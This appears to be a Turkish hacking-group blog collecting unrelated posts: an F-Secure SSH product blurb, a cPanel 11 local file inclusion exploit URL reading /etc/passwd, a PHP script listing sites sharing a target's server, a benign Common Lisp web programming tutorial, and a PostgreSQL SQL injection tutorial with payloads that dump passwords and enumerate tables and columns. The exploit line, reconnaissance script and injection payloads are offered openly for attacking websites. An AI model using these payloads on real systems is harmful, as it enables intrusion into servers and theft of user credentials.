Sunucu; aktarımdaki tüm veriler için kriptografik kimlik denetimi, otomatik oturum şifreleme ve bütünlük koruması özelliklerini kullanır. Kimlik denetimi için RSA veya DSS, değişim için Diffie-Hellman ve aktarım halindeki veri şifreleme için simetrik algortimalar (3DES, Blowfish, Twofish, Acefour gibi) kullanılmakta.

Özellikleri

Aktarım halindeki tüm verilerin şifrelenmesi

Güvenli olmayan terminal (telnet) bağlantılarının yerini alma

SFTP güvenli olmayan FTP bağlantılarının yerini alma

Her türlü TCP/IP portunun (e-mail, web) güvenli aktarımı

Güvenli X11 oturum aktarımı

Şifre tabanlı kullanıcı kimlik denetimi

Kimlik denetimi bağlantının doğru sunucuya yapıldığının onayı

Uzak mesafeli aktarımları hızlandıran veri sıkıştırma

SSH Kullanıcı

F-Secure SSH Kullanıcı, üç entegre bileşenden oluşmakta. F-Secure SSH Terminali, bilinmeyen veya güvenli olmayan netwokler üzerinden güvenli giriş bağlantılarının yapılmasını sağlıyor. F-Secure SSH Kanalı, e-mail ve web gibi internet protokol hizmetlerinin güvenli bir şekilde aktarımını gerçekleştiriyor. F-Secure SSH Dosya Transferi, dosya transferlerinin güvenilir olmayan ‘network’ler üzerinden güvenli bir şekilde gerçekleşmesini sağlar. F-Secure SSH Kullanıcı, sunucu üzerinde kimlik denetimi yapar ve kullanıcı ile sunucu arasındaki akışı şifreler.

F-Secure SSH Özellikleri

Güvenli olmayan rlogin ve telnet protokollerinin yerini alarak, güvenli terminal bağlantıları sağlar.

Güvenli olmayan FTP protokolünün yerine SFTP ve SCP kullanarak dosya transferinin güvenli olmasını sağlar.

Her türlü TCP/IP protokolünün güvenli aktarımı, güvenli Internet bağlantıları sağlar (e-mail veri tabanı erişimi gibi).

Tüm akış 3DES, Blowfish, Twofish, Arcfour, CAST128 veya DES gibi etkili şifreleme özellikleri kullanılarak şifrelenir

Şifre temelli kullanıcı kimlik denetimi yapılır.

Kimlik denetimi, dışarıdan birinin girişini engeller.

Yüklemesi ve kullanımı kolay uygulama düzeyinde bir yazılımdır

Güvenli Terminal Erişimi

F-Secure SSH Terminali, bilinmeyen veya güvenli olmayan networkler üzerinde güvenli giriş bağlantıları yapılmasını sağlamakta. F-Secure Terminali yaygın terminal emülasyonlarını, Ansi renkleri ve mouse kullanımını desteklemekte.

Güvenli Dosya Transferleri

F-Secure SSH Dosya Transferi, güvenli olmayan FTP protokolü yerine SFTP veya SCP işlevselliğini kullanarak dosyaların güvenli bir şekilde transfer edilmesini sağlamakta. Web sunucunuzu güncelleştirirken veya dosyalarınızı şirket dosya sunucusuna aktarırken, kimsenin dosyaları görmediğinden veya içeriğini değiştirmediğinden emin olabilirsiniz.

Güvenli İnternet Kanalı

F-Secure Internet Kanalı, Internet hizmetleri için yerel bir sunucu yaratarak veriler için güvenli bir aktarım kanalı sağlamakta. Bunun yanı sıra, bu güvenli kanal güvenli e-mail (POP, IMAP, SMTP gibi) için de kullanılmakta.

cPanel 11 LFI [Videolu] > MnmL Farkı !!

2009-06-30T12:14:00.001-07:00

Selam dostlar,

bu videomda sizlere cpanelde statsdan kaynaklanan lfi acıgını videolu olarka anlattım.
Video Download : http://rapidshare.de/files/47714369/Desktop.rar.html

Exploit : site.com:2082/frontend/x3/stats/lastvisit.html?domain=../../../../../../../../etc/passwd

0x3aCrew Server Lister

2009-06-30T02:46:00.001-07:00

ob_start();
/*
0x3a Crew Server Lister
Thnx To : uzmix-volqan-xjr-systemhacker-mnml-skylab
*/
echo'
Domain adini veya ip adresini yazin
';
function cek($aq){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,"http://www.myipneighbors.com/");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"search=".$aq);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
$al=curl_exec($ch);
curl_close($ch);
return $al;
}
$site=$_POST['site'];
if($site){
$kaynak=cek($site);
preg_match_all('#">(.*?)#si',$kaynak,$ver);
foreach($ver[1] as $goster){
ob_flush();
flush();
usleep(500000);
echo $goster.'
';
}
}
?>

Lisp ile Web Programlama

2009-06-30T02:28:00.000-07:00

Lisp ile Web Programlamaya Giriş Makalesi,

// Onur Türkeşhan Satılmış ( MnmL ) Tarafından CW Için Derlenmiştir.
/~*

Lisp ile web programlamaya giriş niteliğinde olan bu yazıda, Debian GNU/Linux yüklü bir sisteme gerekli olan programları nasıl kuracağımızı gösterdikten "merhaba dünya" şeklinde ufak bir web uygulamasını nasıl geliştiriceğimizi, ardından da güçlü makro özellikleri ile neler yapabileceğimize bakacağız. Bu yazıda anlatacaklarımız, Debian GNU/Linux’un "testing" dağıtımı olan Etch isimli dağıtım üzerinde denenmiştir. Aynı adımları "stable" olarak nitelenen Debian Sarge ve "unstable" olarak nitelenen SID üzerinde de pek bir sorun çıkmadan takip edebileceğinizi düşünüyoruz. Unutmadan söyleyelim, bu yazıda Lisp dil ailesinin büyük ağabeyi, endüstri standardı olan Common Lisp’i kullanacağız.

Bu yazı hiç Lisp bilmeyenlere Lisp öğreten bir yazı değildir. Ayrıca karmaşık web uygulamaları ile nasıl başa çıkacağınızı da göstermemektedir. Sadece Common Lisp ve web programlamaya dair mümkün olan en basit ısınma turlarından biridir.
Kolları Sıvıyoruz
Lisp ile web uygulamaları geliştirmek için Franz Inc. tarafından geliştirilen AllegroServe web sunucusunu kullanacağız. AllegroServe, tamamen Common Lisp ile yazılmış olup, LLGPL ile dağıtılmaktadır. Esas olarak Franz’ın kendi Lisp ortamı olan AllegroCL üzerinde çalışması için tasarlanan AllegroServe’ü diğer Lisp ortamlarında çalıştırabilmek için bir ara katman kullanılıyor. Adı Portable AllegroServe olan bu katman programı, içinde AllegroServe programını da barındırıyor ve beraber dağıtılıyor. Debian GNU/Linux paket deposunda bulunan cl-aserve isimli paket de aslında Portable AllegroServe’ü içeriyor.

Programlarımızı üzerinde geliştireceğimiz ortam olarak SBCL’yi (Steel Bank Common Lisp) seçtik. Tabii ki olmazsa olmaz editörümüz de Emacs. Eğer sisteminizde, bu yazıda kullanacağımız, Emacs, SBCL ve SLIME (bir hayli gelişmiş bir Emacs Lisp geliştirme ortamı) yüklü değilse, Emre Sevinç’in " Common Lisp Geliştirme Ortamı Kurulumu" başlıklı makalesine gözatmanızı öneriyoruz. Ayrıca, eğer Lisp’e eğlenceli bir başlangıç yapmak isterseniz Conrad Barski tarafından yazılmış ve Seda Çelebican tarafından Türk diline çevrilmiş " Lisp ile TILSIMLI ve Renkli Programlama: Lisperati" başlıklı yazıyı okumanızı öneririz.

Artık kuruluma başlayabiliriz. Web uygulamalarızı geliştirebilmemiz için gerekli olan web sunucumuzu, aşağıdaki komut ile sistemimize kuruyoruz.

# apt-get install cl-aserve

Şimdi, IDE-ötesi programımız Emacs’ı açıp, M-x slime komutunu verip Emacs ile sbcl arasında iletişim kuracak ve Lisp kodlarımızı yazarken bize pek çok kolaylık sağlayacak olan SLIME’ı çalıştırıyoruz. Komut satırından

$ emacs

ve emacs açıldıktan sonra, emacs penceresinde

M-x slime

komutları yeterli olacaktır. (Burada M-x, Meta tuşunu basılı tutup, x tuşuna basmayı ifade ediyor. Meta tuşu, eğer IBM uyumlu PC klavyesi kullanıyorsanız genellikle üzerinde Alt yazan tuştur.)

SLIME’ı ilk kez çalıştırıyorsanız bir süre gerekli SLIME kodları derlenecek (sadece bir kereliğe mahsus) ve sonra da karşınıza Lisp’in ünlü Read-Eval-Print Loop’u (REPL yani Oku-Değerlendir-Bas Döngüsü) çıkacaktır.

CL-USER>

Şimdi sistemimize AllegroServe’ü yüklemek için aşağıdaki komutu çalıştırmamız gerekiyor:

CL-USER> (require :aserve)
("URI" "ACL-SOCKET" "ASERVE")

Burada yazdığımız komut, ilk satırdaki (require :aserve) kısmı. Baştaki CL-USER bize şu anda hangi paketin içerisinde olduğumuzu gösteriyor. > karakteri de Lisp’in bizden bir şeyler girmemizi istediğini söylüyor. İkinci satır ise, Lisp’in çalıştırdığımız komuta verdiği yanıt. Bunu çalıştırdığımız ifadenin geridönüş değeri olarak da düşünebiliriz. Artık AllegroServe programının bize sağladığı fonksiyonları kullanabiliriz. Bir sonraki bölüme geçmeden önce Lisp’teki paket kavramından bahsetmek ve bunun bir tür "namespace" tanımlamak için kullanılan kavramlardan biri olduğunu belirtmek faydalı olacaktır. Lisp’teki paket kavramını yazılım karmaşıklığı ile başa çıkmak, işlevselliği yalıtmak, vs. gibi işler için C#’taki "namespace" ya da Java’daki "package" mekanizması gibi düşünebilirsiniz. Daha detaylı bilgi için PCL’nin ilgili bölümüne ya da The Complete Idiot’s Guide to Common Lisp Packages belgesine bakabilirsiniz.
Biraz Aserve
İlk fonksiyonumuz start fonksiyonu. Bu fonksiyon http sunucumuzu başlatmamıza yarıyor. Bu fonksiyonu aşağıdaki gibi çağırıyoruz:

CL-USER> (net.aserve:start :port 3000)
#

Fonksiyonumuz net.aserve isimli pakete ait olduğu ve şu anda biz CL-USER paketinin içinde çalıştığımız için, paket ismini fonksiyon isminin önüne yazmamız ve aralarına : işareti koymamız gerekiyor. Bu uzun yazış şeklinden kaçınmak için use-package fonksiyonunu kullanmamız yeterli. (Aman dikkat, eğer şu anda içinde çalışılan paketle use-package ile ihraç (export) edilen paketler aynı isimli fonksiyon, makro veya değişken kullanıyorlarsa, "sembol çakışması hatası" gerçekleşir. Bu yüzden use-package dikkatli kullanılmalıdır. Burada use-package kullanmamızın nedeni, uzun fonksiyon isimlerinden kaçınmak istememizdir. Common Lisp’teki paket yönetimi ile ilgili olarak Practical Common Lisp’in ilgili bölümüne göz atabilirsiniz.)

CL-USER> (use-package :net.aserve)
T

Artık net.aserve paketindeki -yani AllegroServe’ün- fonksiyonlarına, makrolarına ve global değişkenlerine, isimlerinin önünde paket ismi olmadan erişebileceğiz.

Web sunucumuzu başlatmamıza yarayan start fonksiyonu, hepsi "keyword" parametresi olmak üzere tam 19 parametre alıyor (Common Lisp bir fonksiyona parametre geçirmek için muazzam bir esneklik sunar, detaylar için lütfen Practical Common Lisp’in Functions bölümüne bakınız). Ancak bu parametrelerin çoğu için şimdilik varsayılan değerleri değiştirmemiz gerekli değil. Biz sadece :port parametresinin değerini 3000 olarak belirledik ve web sunucumuzun 3000 numaralı porttan yayın yapacağını söyledik. 3000 sayısının pek özel bir anlamı yok, standart 80 numaralı http port numarasını vermememizin sebebi öncelikle bunun "root" kullanıcı yetkisini gerektirmesi (UNIX ve türevi sistemlerde 1024 numaralı portun altındaki port numaralarının "root" yetkileri gerektirmesi gibi) ve/veya aynı zamanda 80 numaralı portunuzun başka programlar tarafından kullanımda olma olasılığı (Apache web sunucusu, vb.). start fonksiyonu da bize bir WSERVER nesnesi geri gönderdi (Lisp ve nesneye yönelik programlama! :). Fazla detaya inmeden şunu söyleyelim ki, start fonksiyonu başarıyla bir WSERVER nesnesi yarattı, yani sunucumuz localhost’umuzun 3000 numaralı portunda ziyaretçilerini beklemeye koyuldu.

Eğer http://localhost:3000 adresini Firefox (ya da Emacs içinden w3m) gibi bir web tarayıcı programından açarsak, çok sevimli bir 404 sayfa bulunamadı sayfasıyla karşılaşıyoruz. Bu mesajı size Allegro web sunucusunun verdiğini sayfanın altındaki Allegro ve sürüm numarasından anlayabilirsiniz. (Eğer böyle bir şey olmaz da "connection refused" benzeri bir uyarı penceresi ile karşılaşırsanız o zaman lütfen adresi doğru yazdığınızı, sunucunun çalıştığını ve 3000 numaralı portu daha öncede başka bir programın dinlemediğini kontrol edin.) Sayfa bulunamadı şeklindeki bir web sayfası ile karşılaşmanızın sebebi web sunucusunda bırakın index’i, daha hiçbir sayfayı yayınlamıyor oluşumuz. Şimdi geleneklere saygı göstererek bir "merhaba dünya" yazısını tarayıcımızda göstermek istiyoruz. Bunun için Emacs’taki REPL ortamında yani Common Lisp komut satırında

CL-USER> (publish :path "/"
:content-type "text/html"
:function
#’(lambda (req ent)
(with-http-response (req ent)
(with-http-bOdy (req ent)
(format (request-reply-stream req) "merhaba dünya!")))))
#

yazdıktan sonra ve şimdi http://localhost:3000 adresine gittiğimizde bizi

Merhaba Dünya

yazısı karşılıyor. (Ne büyük sürpriz!)

AllegroServe’ü diğer web sunucularından (mesela Apache) ayıran en önemli özelliklerden biri, sadece dosyaları ve dizinleri değil doğrudan bir Lisp fonksiyonunu yayımlayabilmesi. Bu özellik sayesinde sunucumuza "eğer kullanıcı şu adrese giderse bu fonksiyonu çalıştır" diyebiliyoruz. Lisp’de fonksiyonlar birinci sınıf nesne olduklarından [1], bir adrese gidildiğinde çağrılacak fonksiyonu örnekte gösterildiği gibi dinamik olarak da yaratabiliriz.

Fonksiyonlarımızla, URL’leri eşleştirmemize yarayan publish fonksiyonuna verdiğimiz parametrelere kısaca bir gözatalım.

* :path anahtar sözcüğü kullanarak fonksiyona geçirdiğimiz değer (:path "/") fonksiyonumuzu eşleştireceğimiz adresi belirtiyor. Yukarıdaki örnekte "/", yani kök adresi belirttik.
* :content-type çalıştıracak fonksiyonun üreteceği MIME tipini belirtiyor ki bu da genellikle "text/html"dir.
* :function Çalıştırmak istediğimiz fonksiyon.

Bir adresle eşleştirdiğimiz fonksiyon iki parametre alan bir fonksiyon olmalı. Birincisi http istek (request) nesnesi, ikinci ise publish fonksiyonunun döndürdüğü "entity" nesnesi. Bunların değerleri, bir http isteği gerçekleştiğinde, AllegroServe tarafından fonksiyonumuza veriliyor.

Gelelim oluşturduğumuz fonksiyonun içinde bulunan with-http-response ve with-http-bOdy sembollerine. Bu semboller AllegroServe’de tanımlanmış iki makroyu ifade ediyor. with-http-response makrosu sayesinde, kullanıcıya bir yanıt (response) hazırladığımızı belirtiyoruz. with-http-response, gerekli olan HTTP başlık (header) değerlerini bize iş bırakmadan hazır hale getiriyor. Diğer sevimli makromuz with-http-bOdy ile artık HTTP cevabımızın içeriğini olşuturmaya hazır olduğumuzu belirtiyoruz. İki makroya da fonksiyonumuza gelen parametreleri vermek zorundayız.

Fonksiyonumuzda ekrana "merhaba dünya" yazısını yazdıran kısım, format fonksiyonunu çağırdığımız kısım. format fonksiyonunu C’deki sprintf fonksiyonuna benzetebiliriz (ancak burada belirtmeliyiz ki format çok güçlü bir fonksiyon olup, barındırdığı kurallardan ötürü bir mini dil (DSL, Domain Specific Language) olarak görülmelidir, tıpkı LOOP gibi. Lisp’teki FORMAT ile ne kadar acayip şeyler yapılabileceğini merak edenler Practical Common Lisp’in ilgili bölümüne bakabilirler). Kısaca bir "stream"e, belirli bir şablona göre oluşturduğu bir karakter katarını gönderir. Örneğimizde format’a akım olarak kullanıcıya yanıt vermek için kullandığımız "stream" nesnesini veriyoruz. Bu nesneye ulaşmak için de request-reply-stream fonksiyonunu kullandık.

AllegroServe’ün Apache’nin yaptığı gibi dosyaları ya da dizinleri yayınlamasını istersek, kullanmamız gereken fonksiyonlar publish-file ve publish-directory fonksiyonları.

CL-USER> (publish-file :path "/makale.txt"
:file "/home/hb/lisp-web.01.txt")
#

Artık http://localhost:3000/makale.txt adresinden ev dizinimdeki lisp-web.01.txt dosyasına ulaşabilir durumdayım.

Şimdi biraz daha gelişmiş bir "merhaba dünya" uygulamasıyla, HTTP isteğinden gelen GET ve POST değişkenlerine nasıl ulaşacağımıza bakalım. Henüz Lisp ile HTML üretmeyi bilmediğimiz için form sayfasını durağan (statik) bir HTML sayfası olarak bir dosyaya kaydediyor ve bu dosyayı yayınlıyoruz.

Form sayfamız:

Form sayfasi

Gezegen:

CL-USER> (publish-file :path "/form"
:file "/home/hb/form.html")
#

Şimdi sıra bu formu yorumlayacak olan fonksiyonumuzu hazırlamakta.

CL-USER> (defun handle-form (req ent)
(with-http-response (req ent)
(with-http-bOdy (req ent)
(let ((gezegen (request-query-value "gezegen" req))
(req-stream (request-reply-stream req)))
(if (not (equal gezegen ""))
(format req-stream "Selam ~A!" gezegen)
(format req-stream "Ne bileyim nerden geldin!"))))))
HANDLE-FORM

CL-USER> (publish :path "/handle-form"
:content-type "text/html"
:function ’handle-form)
#

Bu kez, ilk örnekteki gibi fonksiyonumuzu lambda kullanarak isimsiz değil, defun kullanarak isim vererek yarattık. Daha sonra publish fonksiyonuyla yarattığımız fonksiyonu olması gereken adreste yayına verdik. Bu örnekte, formdan gelen bilgiyi almak için request-query-value fonksiyonunu kullandık. Bu fonksiyonun ilk parametresi formdan gelen değişkenin adı, ikincisi ise request nesnesi.

Gelin HTML üretelim
Bu bölümde Lisp ile HTML üretmek için kullanacağımız pek ufak bir kütüphane oluşturacağız [2]. HTML dili de Lisp gibi "prefix" gösterime ve iç içe geçen yapılardan oluşan yapıya sahip olduğundan bu pek zor bir iş olmayacak. İç içe geçen HTML etiketlerini iç içe geçmiş Lisp fonksiyonları olarak düşünmek gayet doğaldır.

İlk önce üreteceğimiz HTML çıktısının gideceği bir "stream" değişkenini oluşturmalıyız. Gerektiğinde bu değişkenin değerini değiştirerek oluşturduğumuz HTML çıktısını standart çıktıya ya da bir dosyaya yazabiliriz.

CL-USER> (defvar *html-stream* nil)

*HTML-STREAM*

Şimdi oluşturacağımız çıktıları belirli bir HTML etiketi arasına yerleştirecek olan % makrosunu yazıyoruz. % ismi tamamen bizim seçimimiz. Alternatif olabilecek with-html-tag gibi uzun bir isim yerine, çok kullanılacağını düşündüğümüz için % ismini kullandık.

CL-USER> (defmacro % (tag (&rest attrs) &bOdy bOdy)
`(progn
(format *html-stream* "<~(~A~)~A>" ’,tag (process-attrs (list ,@attrs)))
,@bOdy
(format *html-stream* "" ’,tag)))
%

% makrosuna bir gözatalım. İlk satırda defmacro ile % isminde bir makro tanımlamakta olduğumuzu belirtiyoruz. % makrosu, parametre olarak; HTML etiketinin adını, özniteliklerini ve etiketin başlangıç ve bitişi arasında çalıştıracağı bir Lisp kod bloğunu alıyor. İlk format fonksiyonunu çağırdığımızda, < ve > karakterlerinin arasına etiketin adını ve özniteliklerini yazıyoruz. % makrosuna öznitelikleri (özniteliğin-adı değeri adı değeri ... ) gibi bir liste halinde veriyoruz. Aşağıda tanımlayacağımız process-attrs fonksiyonu bu listeyi HTML sözdizimine uygun bir şekilde işleyip geri döndürüyor. Daha sonra aldığımız Lisp kodunu çalıştırıp, kapanış etiketini oluşturuyoruz.

Aşağıda, process-attrs fonksiyonunu nasıl tanımladığımızı görebilirsiniz.

CL-USER> (defun process-attrs (attrs)
(if (null (cdr attrs))
""
(if (not (null (second attrs)))
(format nil " ~(~A~)=\\"~A\\"~A" (first attrs) (second attrs)
(process-attrs (cddr attrs)))
(process-attrs (cddr attrs)))))
PROCESS-ATTRS

% makrosunun örnek bir kullanımı aşağıdaki kodda gösteriliyor. Öncelikle let yapısını kullanarak, *html-stream* değişkeninin değerini *standard-output* yapıyoruz. Bunu yapmamızın nedeni, oluşacak HTML kodunu ekranda görebilmek. % makrosunu p sembolü ve (:align "left") listesiyle çağırdık ve içinde *html-stream*’e "hello world" karakter katarını bastık. Tam da istediğimiz gibi HTML kodumuz ekranda görüntülendi. Oluşan HTML kodunun altındaki satırda bulunan NIL, çalıştırdığımız kodun geri dönüş değeri. Bu değer *html-stream* akımına basılmıyor.

CL-USER> (let ((*html-stream* *standard-output*))
(% p (:align "left")
(format *html-stream* "Merhaba dünya!")))
Merhaba dünya!

NIL

İkinci makromuz %=, aynı % makrosu gibi çalışacak, ancak bir Lisp bloğu alıp çalıştırmak yerine, bir Lisp nesnesi alıp onu ekrana basacak. Yeni makromuzun tanımı aşağıda.

CL-USER> (defmacro %= (tag (&rest attrs) obj)
`(progn
(format *html-stream* "<~(~A~)~A>" ’,tag (process-attrs (list ,@attrs)))
(princ ,obj *html-stream*)
(format *html-stream* "" ’,tag)))
%=

CL-USER> (let ((*html-stream* *standard-output*))
(%= a (:href "http://www.google.com") "Google’a git"))
Google’a git
NIL

Uzun let yapısından ve format çağrılarından kurtulmak için birkaç ufak yardımcı fonksiyon tanımlayalım.

CL-USER> (defun pr (obj)
(princ obj *html-stream*))
PR

CL-USER> (defmacro prf (format &rest args)
`(format *html-stream* ,format ,@args))
PRF

pr ve prf, sırası ile princ ve format fonksiyonlarının stream değişkenlerini kendiliğinden *html-stream*’ye bağlıyor. Özellikle prf makrosu bize büyük bir tasarruf sağlayacak.

Bir diğer makromuz aşağıda tanımladığımız with-html-stream makrosu. Parametre olarak bir akım nesnesi ve Lisp kod bloğu alan bu makro, *html-stream*’i aldığı "stream" nesnesine bağlıyor ve bloğu çalıştırıyor.

CL-USER> (defmacro with-html-stream ((&optional (stream *standard-output*)) &bOdy bOdy)
`(let ((*html-stream* ,stream))
,@bOdy))
WITH-HTML-STREAM

with-html-stream makrosunu kullanarak, oluşturduğu HTML kodlarını string olarak yollayan bir makro yazıyoruz:

CL-USER> (defmacro html-to-string (&bOdy bOdy)
(let ((g-stream (gensym)))
`(with-output-to-string (,g-stream)
(with-html-stream (,g-stream)
,@bOdy))))
HTML-TO-STRING

CL-USER> (html-to-string
(% div (:align "center" :id "mainPane")
(%= span (:class "normalText")
"Naber dünya?")))
"
Naber dünya?
"

Oluşturduğumuz bu araçlarla, biraz daha üst seviye olan page makrosunu oluşturabiliriz.

CL-USER> (defmacro page ((&key (title "Untitled")) &bOdy bOdy)
`(% html ()
(% head ()
(%= title () ,title))
(% bOdy ()
,@bOdy)))
PAGE

Page makrosu, title parametresini alarak bir HTML belgesini oluşturuyor. Burada Lisp makrolarının çok doğal biçimde şablon görevini üstlendiklerini görebiliyoruz.

CL-USER> (publish :path "/merhaba2"
:content-type "text/html"
:function
#’(lambda (req ent)
(with-http-response (req ent)
(with-http-bOdy (req ent)
(with-html-stream ((request-reply-stream req))
(page (:title "Merhaba Dünya!")
(pr "ikinci kez merhaba!")))))))
#

Yukarıdaki örnekte sayfamızı oluşturan kod sadece 2 satır, ama daha öncesinde çok fazla satır yazmak zorunda kalıyoruz. Her tembel programcı gibi bunları yazmamanın bir yolunu aradığımızda imdadımıza yine Lisp makroları yetişiyor. Aşağıda tanımladığımız webfn makrosu, with-* makrolarını yazmaktan kurtulmamızı sağlıyor.

CL-USER> (defmacro webfn (&bOdy bOdy)
`#’(lambda (req ent)
(with-http-response (req ent)
(with-http-bOdy (req ent)
(with-html-stream ((request-reply-stream req))
,@bOdy)))))
WEBFN

CL-USER> (publish :path "/merhaba3"
:content-type "text/html"
:function
(webfn
(page (:title "Merhaba")
(% div (:align "center")
(%= p ()
"Birinci paragraf")
(%= p ()
"ikinci paragraf")))))
#

Gördüğünüz gibi makrolar sayesinde yazdığımız kod epey azaldı. Eğer "şu publish kısımlarını da yazmasak" derseniz, aşağıdaki makroya bir gözatmanızı tavsiye ederiz.

CL-USER> (defmacro defwebfn (name &bOdy bOdy)
`(publish :path ,(format nil "/~(~A~)" name)
:content-type "text/html"
:function (webfn ,@bOdy)))
DEFWEBFN

CL-USER> (defwebfn welcome-page
(page (:title "Hosgeldiniz")
(% div (:align "center")
(prf "Hosgeldiniz!"))))
#

defwebfn makrosu webfn ile bir fonksiyon yaratıp kendiliğinden yayınladı. Şimdi http://localhost:3000/welcome-page adresine gidip sonucu görebilirsiniz.

Veritabansız Olur Mu? Olmaz!
Common Lisp ile MySQL bağlantısı yapabilmek için Debian GNU/Linux paket deposundaki cl-sql-mysql paketine ihtiyacımız var. Aşağıdaki komutu çalıştırarak sistemimize bu paketi yüklüyoruz.

# apt-get install cl-sql-mysql

cl-sql-mysql paketi, cl-sql ve cl-sql-uffi paketlerine bağımlı olduğu için apt-get bize "bu paketleri de yükleyeyim mi?" diye soracaktır. İşi ustasına bırakıp yüklemesine izin veriyor ve Lisp kodu içinden MySQL ile konuşmamızı sağlayacak kütüphaneyi kuruyoruz.

Şimdi Lisp geliştirme ortamına geri dönüp, yeni yüklediğimiz bu paketleri Lisp’e dahil ediyoruz:

CL-USER> (require :clsql-mysql)
NIL

cl-sql, veritabanı ile nesneler arasında birebir ilişki kurabilen ve SQL sorguları yerine daha üst seviyede çalışabilmeyi sağlayan bir kütüphanedir. Fakat bu özelliklerin nasıl kullanılacağının anlatılması ancak başka bir yazının konusu olabilir. Bu yazıda sadece basit SQL sorgularının Common Lisp ile yapılmasını ve sorguların sonuçlarının web uygulamasında kullanılmasını anlatmakla yetineceğiz.

Örneğimizde hayali bir kitapçı dükkanının hayali kitaplarını tutacağı bir tabloluk basit bir veritabanını kullanacağız. Veritabanını, biricik tablosunu ve birkaç kitap kaydını yaratmak için aşağıdaki SQL sorgusunu kullanabiliriz. Bu aşamada MySQL ile bir miktar programlama deneyimine sahip olduğunuzu var sayıyoruz:

CREATE DATABASE bookstore;

CREATE TABLE books (
id INT NOT NULL AUTO_INCREMENT,
title VARCHAR(120) NOT NULL,
author VARCHAR(60) NOT NULL,
PRIMARY KEY (id), UNIQUE(id));

INSERT INTO books (title, author)
VALUES (’I\\’m sure you\\’re joking Mr. Feynman’, ’Richard Feynman’);

INSERT INTO books (title, author)
VALUES (’Also Sprach Zaradustra’, ’Freidrich Nietzsche’);

INSERT INTO books (title, author)
VALUES (’The Relativity Theory’, ’Albert Einstein’);

INSERT INTO books (title, author)
VALUES (’ANSI Common Lisp’, ’Paul Graham’);

Veritabanına bağlanmak için clsql’nin connect fonksiyonun kullanmamız gerek. clsql:connect fonksiyonunu aşağıdaki gibi çağırıyoruz.

CL-USER> (clsql:connect ’("localhost" "bookstore" "root" "parola"))
#

connect fonksiyonuna parametre olarak sırasıyla veritabanının bulunduğu sunucunun alan adını, kullanacağımız veritabanının adını, veritabanı kullanıcısının adını ve son olrak kullanıcının parolasını içeren bir liste vermemiz gerekiyor. Eğer veritabanına bağlanmayı başaramazsak, connect fonksiyonu bir hata yaratıyor. (Hata yakalama fonksiyonları hakkında bkz. Practical Common Lisp)

Veritabanımızdan veri çekmek için clsql:query fonksiyonunu kullanacağız. clsql:query fonksiyonu, bir SQL sorgusu alıp, eşleşen kayıtları ve tablodaki alan adlarını döndürüyor. (Common Lisp’de bir fonksiyon birden fazla değer döndürebilir, bu çok elemanlı dizi döndürmekten biraz farklı bir durumdur. Detaylı bilgi için bkz.: http://www.lispworks.com/documentation/HyperSpec/BOdy/m_multip.htm ve http://www.gigamonkeys.com/book/the-special-operators.html) Aşağıda query fonksiyonunun örnek kullanımını görebilirsiniz.

CL-USER> (clsql:query "SELECT title AS ’baslik’ FROM books")

(("I’m sure you’re joking Mr. Feynman") ("Also Sprach Zaradustra")
("The Relativity Theory") ("ANSI Common Lisp"))
("baslik")

Şimdi, tablomuzdan kitap listesini çekip, bunu bir HTML tablosu halinde web sunucumuzda yayınlayabiliriz:

CL-USER> (defwebfn book-list
(% page (:title "Book List")
(multiple-value-bind (rows labels) (clsql:query "SELECT * FROM books")
(% table (:border "1")
(% tr ()
(dolist (label labels)
(%= th () label)))
(dolist (row rows)
(% tr ()
(dolist (field row)
(%= td () field))))))))
#

Denemek için web tarayıcınız ile http://localhost:3000/book-list adresini ziyaret edebilirsiniz.
Bitirirken
Giriş seviyesindeki bu yazıda Common Lisp ile Allegro Portable Web Server kullanarak ve Lisp’in makro geliştirme gücünden faydalanarak Internet programlamanın nasıl yapılabileceğini çok basitçe gördük. Bu aşamada arrtık en temel şekilde Lisp kullanarak HTML üretme ve MySQL gibi popüler bir veritabanına bağlanma konusunda belli bir izlenime kavuştuğunuzu ümit ediyoru.

Common Lisp gibi büyük ve köklü geçmişe sahip bir dil ve bu dil ile Internet programlama gibi detaylı bir konuya dair bu satırlara sığdıramadığımız pek çok şey mevcuttur.

Anlattıklarımız bu tür işleri yapmanın tek yolu değil elbet, alternatif yöntemler, çok daha gelişmiş UnCommon Web gibi "framework"ler Internet’te sizin tarafınızdan keşfedilmeyi bekliyor.

PostgreSQL Database SQL Injection

2009-06-13T05:47:00.000-07:00

Selam Arkadaşlar Ben MnmL (0x3a crew For Cyber-Warrior TiM )

Bu Yazımda Sizlere PostgreSQL VeriTabanında SQL Injection'u Anlatıcam.

p.s < postgresql.
v.t< veritabanı

p.s diğer v.t lere göre daha kullanıslı bir syntaxa sahip bana göre mesela

mysqlde,

mys.php?id=1+union+select+0,1,version(),3--

yazaraken ps 'de

pst.php?id=1 SELECT version()

yazmak yeterli oluyor fakat isterseniz yine [B] mysql gibi unionda kullanabilirsiniz..[/B]

-Örnek Syntax Kullanımı-

şimdi pst.php dosyası sayesinde elimizde olan tablo ve kolon isimlerini nasıl ekrana vurdurabiliriz onu göstereceğim,

pst.php?id=1 SELECT sifre,nick FROM uyeler

yazarak ekrana vurdurabiliriz bu bir simple querydir.(yeni basladıgınız icin ezberlemekte sıkıntılar cekebilirsiniz..)

-Incelikleri-

Şimdi Size Işin Püf Noktalarını Anlatıcam.

nasıl mysqlde information schema'ya baglanıp alıordukya tablo ve kolon isimlerini işte aynı sekilde fakat query biraz değişik,

örnek query,

pst.php?id=-1 SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)

değişkenlere bağlanarak tabloları çektim işte.

Birde Kolon Çekmeyi Göstereceğim Ve Yazımı Sonlandıracağım Malum Saat 04:55 Yatmak Lazım :)..

Kolon Çekimi Içinde 2 Yöntem Var 1.si keyw0rd oracledaki gibi belirtilen isimdeki kolonları ceker,

pst.php?id=1 SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')

Bütün Kolonlar Su anda Ekrana Vurdu.

